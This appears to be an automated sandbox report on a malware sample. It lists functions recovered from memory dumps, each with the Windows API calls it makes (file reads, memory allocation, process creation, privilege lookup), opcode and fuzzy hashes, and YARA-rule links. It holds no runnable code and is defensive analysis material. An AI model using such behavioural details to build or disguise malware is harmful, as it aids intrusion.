Function 00159E10, Relevance: 1.5, APIs: 1, Instructions: 36filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(00154D42,5EB6522D,FFFFFFFF,00154A01,?,?,00154D42,?,00154A01,FFFFFFFF,5EB6522D,00154D42,?,00000000), ref: 00159E55

Memory Dump Source

Source File: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction ID: 2331c7781a27821786a58a5211bc94780919cee2f458c1a2a74160acac9ca601
Opcode Fuzzy Hash: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction Fuzzy Hash: 7FF0B7B2200208AFCB14DF89DC81EEB77ADEF8C754F158248BE1DA7241D630E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00159F40, Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,00142D11,00002000,00003000,00000004), ref: 00159F79

Memory Dump Source

Source File: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction ID: 515ee8cc07c367642ffb94e7cee53c0a13e4448bcc9d35c2dd3100e89f59408a
Opcode Fuzzy Hash: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction Fuzzy Hash: 9CF015B2200218ABCB14DF89CC81EAB77ADEF88754F118248BE18A7241C630F810CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00159E8A, Relevance: 1.5, APIs: 1, Instructions: 22nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(00154D20,?,?,00154D20,00000000,FFFFFFFF), ref: 00159EB5

Memory Dump Source

Source File: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: ad5afc3148f99549f5dde0f0605669d6318dc98e686d215ef7c054ea05fb200f
Instruction ID: 7f626b29d10257167988c736cd33acc001d528b281dbc948bb5ad7dbd39f4940
Opcode Fuzzy Hash: ad5afc3148f99549f5dde0f0605669d6318dc98e686d215ef7c054ea05fb200f
Instruction Fuzzy Hash: 2EE08C36241214AFD710EF98DC86EA77B69EF88711F168198BE186B352C630F524CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00159E90, Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(00154D20,?,?,00154D20,00000000,FFFFFFFF), ref: 00159EB5

Memory Dump Source

Source File: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction ID: 431a7396afce73bd36bf71b7b4c8f2b59bd8009b49ccb6252c52a9618febdf2d
Opcode Fuzzy Hash: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction Fuzzy Hash: 52D01275240214ABD710EB98CC85E97775CEF44750F154555BA585B242C530F50086E0

Uniqueness

Uniqueness Score: -1.00%

Function 047B9540, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 047B954A

Memory Dump Source

Source File: 00000006.00000002.1032811979.0000000004750000.00000040.00000001.sdmp, Offset: 04750000, based on PE: true

Associated: 00000006.00000002.1033506692.000000000486B000.00000040.00000001.sdmp Download File
Associated: 00000006.00000002.1033531961.000000000486F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3effe4eb6e29522976444f54f26212e990d4b17d99a8ee6de5fcdcd0c6528b7e
Instruction ID: 8eeeab172788e2349b7d5cca996a8edc8268645d6ce0f33813dde3fc3ea2ea4b
Opcode Fuzzy Hash: 3effe4eb6e29522976444f54f26212e990d4b17d99a8ee6de5fcdcd0c6528b7e
Instruction Fuzzy Hash: F5900265211000072225A5590704507004697D9395351C039F10065A0CD661D8657161

Uniqueness

Uniqueness Score: -1.00%

Function 047B95D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 047B95DA

Memory Dump Source

Source File: 00000006.00000002.1032811979.0000000004750000.00000040.00000001.sdmp, Offset: 04750000, based on PE: true

Associated: 00000006.00000002.1033506692.000000000486B000.00000040.00000001.sdmp Download File
Associated: 00000006.00000002.1033531961.000000000486F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 91e8079fa14b1e9541cb403dfca58a2c14f5b6a5e09e99d87c60451fe5c58820
Instruction ID: d4ffcbddf5567a0ad05e0088a5a09573c7925b5221b713409962b18847dcf401
Opcode Fuzzy Hash: 91e8079fa14b1e9541cb403dfca58a2c14f5b6a5e09e99d87c60451fe5c58820
Instruction Fuzzy Hash: 369002A120200007622571594414616400A97E4345B51C039E10055E0DC565D8957165

Uniqueness

Uniqueness Score: -1.00%

Function 047B9660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 047B966A

Memory Dump Source

Source File: 00000006.00000002.1032811979.0000000004750000.00000040.00000001.sdmp, Offset: 04750000, based on PE: true

Associated: 00000006.00000002.1033506692.000000000486B000.00000040.00000001.sdmp Download File
Associated: 00000006.00000002.1033531961.000000000486F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b69ca82761dcde6467096ba7509e431e72b2aa9c1221265620ae7c5ca1273a2c
Instruction ID: e2ebc6d13ddd2c3555b0d5b6ace76b16ab4ce6502b7bdddd9427041e2d62a840
Opcode Fuzzy Hash: b69ca82761dcde6467096ba7509e431e72b2aa9c1221265620ae7c5ca1273a2c
Instruction Fuzzy Hash: 6790027120100806F2A07159440464A000597D5345F91C03DA00166A4DCA55DA5D77E1

Uniqueness

Uniqueness Score: -1.00%

Function 047B9650, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 047B965A

Memory Dump Source

Source File: 00000006.00000002.1032811979.0000000004750000.00000040.00000001.sdmp, Offset: 04750000, based on PE: true

Associated: 00000006.00000002.1033506692.000000000486B000.00000040.00000001.sdmp Download File
Associated: 00000006.00000002.1033531961.000000000486F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: cdcd8d0244fdd1a29821718e01b3064bb792e82d92a7ac5fbe4eafa21fad8e4c
Instruction ID: e2e659e8be762d2ef066e00ee404ecb686c7345785f027bb2597cbe02a6b9e1f
Opcode Fuzzy Hash: cdcd8d0244fdd1a29821718e01b3064bb792e82d92a7ac5fbe4eafa21fad8e4c
Instruction Fuzzy Hash: 7190027120504846F26071594404A46001597D4349F51C039A00556E4D9665DD59B6A1

Uniqueness

Uniqueness Score: -1.00%

Function 047B96E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 047B96EA

Memory Dump Source

Source File: 00000006.00000002.1032811979.0000000004750000.00000040.00000001.sdmp, Offset: 04750000, based on PE: true

Associated: 00000006.00000002.1033506692.000000000486B000.00000040.00000001.sdmp Download File
Associated: 00000006.00000002.1033531961.000000000486F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 12f35ea6544bb0a5e21d2814312e2a62e02a261673e83c16b96961b14fcf0ff0
Instruction ID: 69e44f6e7817ab99bfd65daee97e561c2abcdafa27927e0766b356fc56997998
Opcode Fuzzy Hash: 12f35ea6544bb0a5e21d2814312e2a62e02a261673e83c16b96961b14fcf0ff0
Instruction Fuzzy Hash: B590027120108806F2306159840474A000597D4345F55C439A44156A8D86D5D8957161

Uniqueness

Uniqueness Score: -1.00%

Function 047B96D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 047B96DA

Memory Dump Source

Source File: 00000006.00000002.1032811979.0000000004750000.00000040.00000001.sdmp, Offset: 04750000, based on PE: true

Associated: 00000006.00000002.1033506692.000000000486B000.00000040.00000001.sdmp Download File
Associated: 00000006.00000002.1033531961.000000000486F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: afec0b7b4e418dfff8833b4baa3d8fdddfaef65b9a915050b3a76f04e7b8716a
Instruction ID: 3c2d8747ff6214a4a5484eb0a2b47070ed965d269f0c072d0aa4274c7b6b05e9
Opcode Fuzzy Hash: afec0b7b4e418dfff8833b4baa3d8fdddfaef65b9a915050b3a76f04e7b8716a
Instruction Fuzzy Hash: 3390027120100846F22061594404B46000597E4345F51C03EA01156A4D8655D8557561

Uniqueness

Uniqueness Score: -1.00%

Function 047B9710, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 047B971A

Memory Dump Source

Source File: 00000006.00000002.1032811979.0000000004750000.00000040.00000001.sdmp, Offset: 04750000, based on PE: true

Associated: 00000006.00000002.1033506692.000000000486B000.00000040.00000001.sdmp Download File
Associated: 00000006.00000002.1033531961.000000000486F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1442d9db6974fb48e970959a9e1f81ff37497a2f4d8a8f9b0a49329c0a5caae7
Instruction ID: 6989424da6f28c5472c0dacbf2ac913bffd7981ab99aff1d4b6c18d6d19873ab
Opcode Fuzzy Hash: 1442d9db6974fb48e970959a9e1f81ff37497a2f4d8a8f9b0a49329c0a5caae7
Instruction Fuzzy Hash: 4890027120100406F22065995408646000597E4345F51D039A50155A5EC6A5D8957171

Uniqueness

Uniqueness Score: -1.00%

Function 047B9FE0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 047B9FEA

Memory Dump Source

Source File: 00000006.00000002.1032811979.0000000004750000.00000040.00000001.sdmp, Offset: 04750000, based on PE: true

Associated: 00000006.00000002.1033506692.000000000486B000.00000040.00000001.sdmp Download File
Associated: 00000006.00000002.1033531961.000000000486F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c0a42f36252e33139bc4303175da588a79b8875d14e7f8444dba93a8f6c64862
Instruction ID: 7551ae081f286ee279f1efb6b8fea765a1a778bc881579e7c25a21876e51fabe
Opcode Fuzzy Hash: c0a42f36252e33139bc4303175da588a79b8875d14e7f8444dba93a8f6c64862
Instruction Fuzzy Hash: C990027131114406F23061598404706000597D5345F51C439A08155A8D86D5D8957162

Uniqueness

Uniqueness Score: -1.00%

Function 047B9780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 047B978A

Memory Dump Source

Source File: 00000006.00000002.1032811979.0000000004750000.00000040.00000001.sdmp, Offset: 04750000, based on PE: true

Associated: 00000006.00000002.1033506692.000000000486B000.00000040.00000001.sdmp Download File
Associated: 00000006.00000002.1033531961.000000000486F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d404328e1fac90a21f31535b6a7c40d3b59b6155e63acaaf00ee8134cb2f1bdd
Instruction ID: 1005f62b04cf3aaa6a9397fcf714a4b7299d8b4653b954a05ec20eb06e4143f9
Opcode Fuzzy Hash: d404328e1fac90a21f31535b6a7c40d3b59b6155e63acaaf00ee8134cb2f1bdd
Instruction Fuzzy Hash: C290026921300006F2A07159540860A000597D5346F91D43DA00065A8CC955D86D7361

Uniqueness

Uniqueness Score: -1.00%

Function 047B9860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 047B986A

Memory Dump Source

Source File: 00000006.00000002.1032811979.0000000004750000.00000040.00000001.sdmp, Offset: 04750000, based on PE: true

Associated: 00000006.00000002.1033506692.000000000486B000.00000040.00000001.sdmp Download File
Associated: 00000006.00000002.1033531961.000000000486F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 00c25af6749c89b523f7455f70035bf495205d305c1593a633d922e4cc807482
Instruction ID: e77b979688f1feee50f5fec36fbc7cf681c60d56ffe5356ca6e197eb9435d00b
Opcode Fuzzy Hash: 00c25af6749c89b523f7455f70035bf495205d305c1593a633d922e4cc807482
Instruction Fuzzy Hash: 9190027120100417F23161594504707000997D4385F91C43AA04155A8D9696D956B161

Uniqueness

Uniqueness Score: -1.00%

Function 047B9840, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 047B984A

Memory Dump Source

Source File: 00000006.00000002.1032811979.0000000004750000.00000040.00000001.sdmp, Offset: 04750000, based on PE: true

Associated: 00000006.00000002.1033506692.000000000486B000.00000040.00000001.sdmp Download File
Associated: 00000006.00000002.1033531961.000000000486F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d4fa3fe33db87e8b1155c966a349d59182bb1f10d5b5cd4691665ca562ae9f81
Instruction ID: 4f33af5d050b049c29169f031480c2242ccbf13e9cd98cdf982ee65a00bda5ee
Opcode Fuzzy Hash: d4fa3fe33db87e8b1155c966a349d59182bb1f10d5b5cd4691665ca562ae9f81
Instruction Fuzzy Hash: A2900261242041567665B15944045074006A7E4385791C03AA14059A0C8566E85AF661

Uniqueness

Uniqueness Score: -1.00%

Function 047B9910, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 047B991A

Memory Dump Source

Source File: 00000006.00000002.1032811979.0000000004750000.00000040.00000001.sdmp, Offset: 04750000, based on PE: true

Associated: 00000006.00000002.1033506692.000000000486B000.00000040.00000001.sdmp Download File
Associated: 00000006.00000002.1033531961.000000000486F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 01051418792a5e0a9ee498ba04e718984275a21a6c6af7c93ae3ece6e045a404
Instruction ID: f5d6b897c64e1a5fb6e9eaf61557e18b5e21e70d2545d8467cef383f00e65518
Opcode Fuzzy Hash: 01051418792a5e0a9ee498ba04e718984275a21a6c6af7c93ae3ece6e045a404
Instruction Fuzzy Hash: F29002B120100406F26071594404746000597D4345F51C039A50555A4E8699DDD976A5

Uniqueness

Uniqueness Score: -1.00%

Function 047B99A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 047B99AA

Memory Dump Source

Source File: 00000006.00000002.1032811979.0000000004750000.00000040.00000001.sdmp, Offset: 04750000, based on PE: true

Associated: 00000006.00000002.1033506692.000000000486B000.00000040.00000001.sdmp Download File
Associated: 00000006.00000002.1033531961.000000000486F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e42f135b1bf86386c5c3d7f41aebfc538b495ced4e1691fd485fa03a807888d8
Instruction ID: 5a8412f7eb02f746a936e595757ed8cf730d8cabeea359221aa7f96aa2213bbd
Opcode Fuzzy Hash: e42f135b1bf86386c5c3d7f41aebfc538b495ced4e1691fd485fa03a807888d8
Instruction Fuzzy Hash: 939002A134100446F22061594414B060005D7E5345F51C03DE10555A4D8659DC567166

Uniqueness

Uniqueness Score: -1.00%

Function 047B9A50, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 047B9A5A

Memory Dump Source

Source File: 00000006.00000002.1032811979.0000000004750000.00000040.00000001.sdmp, Offset: 04750000, based on PE: true

Associated: 00000006.00000002.1033506692.000000000486B000.00000040.00000001.sdmp Download File
Associated: 00000006.00000002.1033531961.000000000486F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: fa58a9ea7d27bb649e054266c03b5815b89e2e669210cf878f68f5de5b9abfb4
Instruction ID: a66bb52d8059167851a82df7aa4dace64d3b0e92559b231d9871f75b2129f7b8
Opcode Fuzzy Hash: fa58a9ea7d27bb649e054266c03b5815b89e2e669210cf878f68f5de5b9abfb4
Instruction Fuzzy Hash: 6A90026121180046F32065694C14B07000597D4347F51C13DA01455A4CC955D8657561

Uniqueness

Uniqueness Score: -1.00%

Function 0015A0A6, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00154506,?,00154C7F,00154C7F,?,00154506,?,?,?,?,?,00000000,00000000,?), ref: 0015A05D
RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,00143AF8), ref: 0015A09D

Strings

.z`, xrefs: 0015A08C, 0015A098

Memory Dump Source

Source File: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: false

Yara matches

Similarity

API ID: Heap$AllocateFree
String ID: .z`
API String ID: 2488874121-1441809116
Opcode ID: 1c7fa2bf05a8e02e5a2cbdcc6446d60e51601032a5fbd43a6e3e730550dded87
Instruction ID: 83ed53591b7af67c44d3cc5e6147298b69df3a41cadebe81a566d84080e6bf69
Opcode Fuzzy Hash: 1c7fa2bf05a8e02e5a2cbdcc6446d60e51601032a5fbd43a6e3e730550dded87
Instruction Fuzzy Hash: 8601FCB5154204AFDB24EF68EC81CA73BA8FF84311B118649FC694B242C330E918CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 0015A062, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 26memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,00143AF8), ref: 0015A09D

Strings

.z`, xrefs: 0015A08C, 0015A098

Memory Dump Source

Source File: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 7b02fa801c8c18263089b0fdb054003c7a3dbe120f901e8281cca2cada6840af
Instruction ID: 9165f770f46019b45722cbfd46c34fdab6b85082ce1acd1975435840ce28ccb8
Opcode Fuzzy Hash: 7b02fa801c8c18263089b0fdb054003c7a3dbe120f901e8281cca2cada6840af
Instruction Fuzzy Hash: 31E02BB42042458BDB11EE79C4C049B7F90EFC17107508A59ECA80B206C731E52ED771

Uniqueness

Uniqueness Score: -1.00%

Function 0015A070, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,00143AF8), ref: 0015A09D

Strings

.z`, xrefs: 0015A08C, 0015A098

Memory Dump Source

Source File: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction ID: 71adc3202e86dd739d13b3650468ae935bb022a5d72db288c663a15520e5eb81
Opcode Fuzzy Hash: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction Fuzzy Hash: 63E04FB1200218ABD714DF59CC45EA777ACEF88750F018554FD185B241C630F914CAF0

Uniqueness

Uniqueness Score: -1.00%

Function 001482EC, Relevance: 3.1, APIs: 2, Instructions: 57threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 0014834A
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 0014836B

Memory Dump Source

Source File: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 2c4901ad9d90cf49b447a2a0cb3059fe0be113974f37572f7b93cd664e313932
Instruction ID: 9f5eac4abe1b5d3823e8645821a61947b3c0d86e5bd1a1273d06a2df0ee9db3a
Opcode Fuzzy Hash: 2c4901ad9d90cf49b447a2a0cb3059fe0be113974f37572f7b93cd664e313932
Instruction Fuzzy Hash: DC01D831A802287AE7209A949C43FBE671CAF50F55F050115FF04FA1C1D794690A46E5

Uniqueness

Uniqueness Score: -1.00%

Function 001482F0, Relevance: 3.1, APIs: 2, Instructions: 55threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 0014834A
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 0014836B

Memory Dump Source

Source File: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 4a55148ff9da4d85293f36c1d21b3ca726a4155c96c158c46edfd0097c785396
Instruction ID: 4ae69faa20c533ccfa6f3cdf49f3ccef0415924bdb92cfae5a23833a739d2c33
Opcode Fuzzy Hash: 4a55148ff9da4d85293f36c1d21b3ca726a4155c96c158c46edfd0097c785396
Instruction Fuzzy Hash: DD01A731A80228BBE721AA949C43FBE776CAF50F55F054114FF04BE1C1E7D4690A46F6

Uniqueness

Uniqueness Score: -1.00%

Function 0015A139, Relevance: 1.6, APIs: 1, Instructions: 74processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 0015A134

Memory Dump Source

Source File: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: cbace9784b4c5c69115f95d6b29b20dbf9f2434098dd3172a269402f586a0905
Instruction ID: 785beb25444eab8eed99d9e692b25bd1824029cce05f6cd56e7e51ae8cfcb322
Opcode Fuzzy Hash: cbace9784b4c5c69115f95d6b29b20dbf9f2434098dd3172a269402f586a0905
Instruction Fuzzy Hash: 9B2108B6244208ABCB04DF98DC81EEB77ADAF8C614F158658FA5997241C630E815CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0015A0DD, Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 0015A134

Memory Dump Source

Source File: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: aded57e048a83174bf6eb08b08a4020a487c3f08d73a80ccfc7325e01c6f4d62
Instruction ID: 7c62992e1a8e481d0c0530de300dff9b2ed504167f2470c7151ea42676e3f27d
Opcode Fuzzy Hash: aded57e048a83174bf6eb08b08a4020a487c3f08d73a80ccfc7325e01c6f4d62
Instruction Fuzzy Hash: 1F01EFB6204148ABCB04CF99DC80DEB7BA9AF8C614F158258FA5997202C630E845CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0015A0E0, Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 0015A134

Memory Dump Source

Source File: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction ID: 8e546043dcbf9c24d3c7f53d82573680abd3a29af433406135e904425388490d
Opcode Fuzzy Hash: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction Fuzzy Hash: AB01B2B2210108BFCB54DF89DC80EEB77ADAF8C754F158258FA0DA7241C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0015A1C4, Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,0014F1A2,0014F1A2,?,00000000,?,?), ref: 0015A200

Memory Dump Source

Source File: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 83b2e5b65fc40d4faf5e3e3f85a1d0ca80563a5644a53dae6e6252c0da40a7b6
Instruction ID: d218779ba1f8b61bdadc4976dc355b3febaf1c78ca2f2f005e2e477ac2049df1
Opcode Fuzzy Hash: 83b2e5b65fc40d4faf5e3e3f85a1d0ca80563a5644a53dae6e6252c0da40a7b6
Instruction Fuzzy Hash: 25F08CB1244318ABCA10EF94DC86DA737A8EF88210F018159FD485B242D631E920CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 00159FF6, Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00154506,?,00154C7F,00154C7F,?,00154506,?,?,?,?,?,00000000,00000000,?), ref: 0015A05D

Memory Dump Source

Source File: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: false

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: bdb174a416058f385ed756b209b00eaf675022cf5e88346bbdc4b5dd8548643d
Instruction ID: 2e8fb808a16a3f3b426671d1f0052bec204ca363864aaeed786eae38c3066486
Opcode Fuzzy Hash: bdb174a416058f385ed756b209b00eaf675022cf5e88346bbdc4b5dd8548643d
Instruction Fuzzy Hash: B5F08276240224AFD714EF94DC80EE7B36DEF84311F118669F9585B241D631E914C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 0015A030, Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00154506,?,00154C7F,00154C7F,?,00154506,?,?,?,?,?,00000000,00000000,?), ref: 0015A05D

Memory Dump Source

Source File: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: false

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction ID: b2df12eb259e8b23c47c7427eaf51b8149d1887e56a8632dd4eb5e7ffc010071
Opcode Fuzzy Hash: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction Fuzzy Hash: BEE046B1200218ABDB14EF99CC81EA777ACEF88754F118558FE186B242C630F914CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 0015A1D0, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,0014F1A2,0014F1A2,?,00000000,?,?), ref: 0015A200

Memory Dump Source

Source File: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction ID: a00f22a27c45499aa88edd08455c887ee20f4fc579ea6af34d368cb715b76eeb
Opcode Fuzzy Hash: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction Fuzzy Hash: EFE01AB1200218ABDB10DF49CC85EE737ADEF88650F018154BE086B241CA30E8148BF5

Uniqueness

Uniqueness Score: -1.00%

Function 0014F697, Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,00148CF4,?), ref: 0014F6CB

Memory Dump Source

Source File: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 91591e0e5a2100e108401558d0d7b3935e64152e9d17414de4029c2d422eefc2
Instruction ID: fd6ea6da098859109bbeb9d0d0fad2cf86ebf2d25552b3a072868c972cba146c
Opcode Fuzzy Hash: 91591e0e5a2100e108401558d0d7b3935e64152e9d17414de4029c2d422eefc2
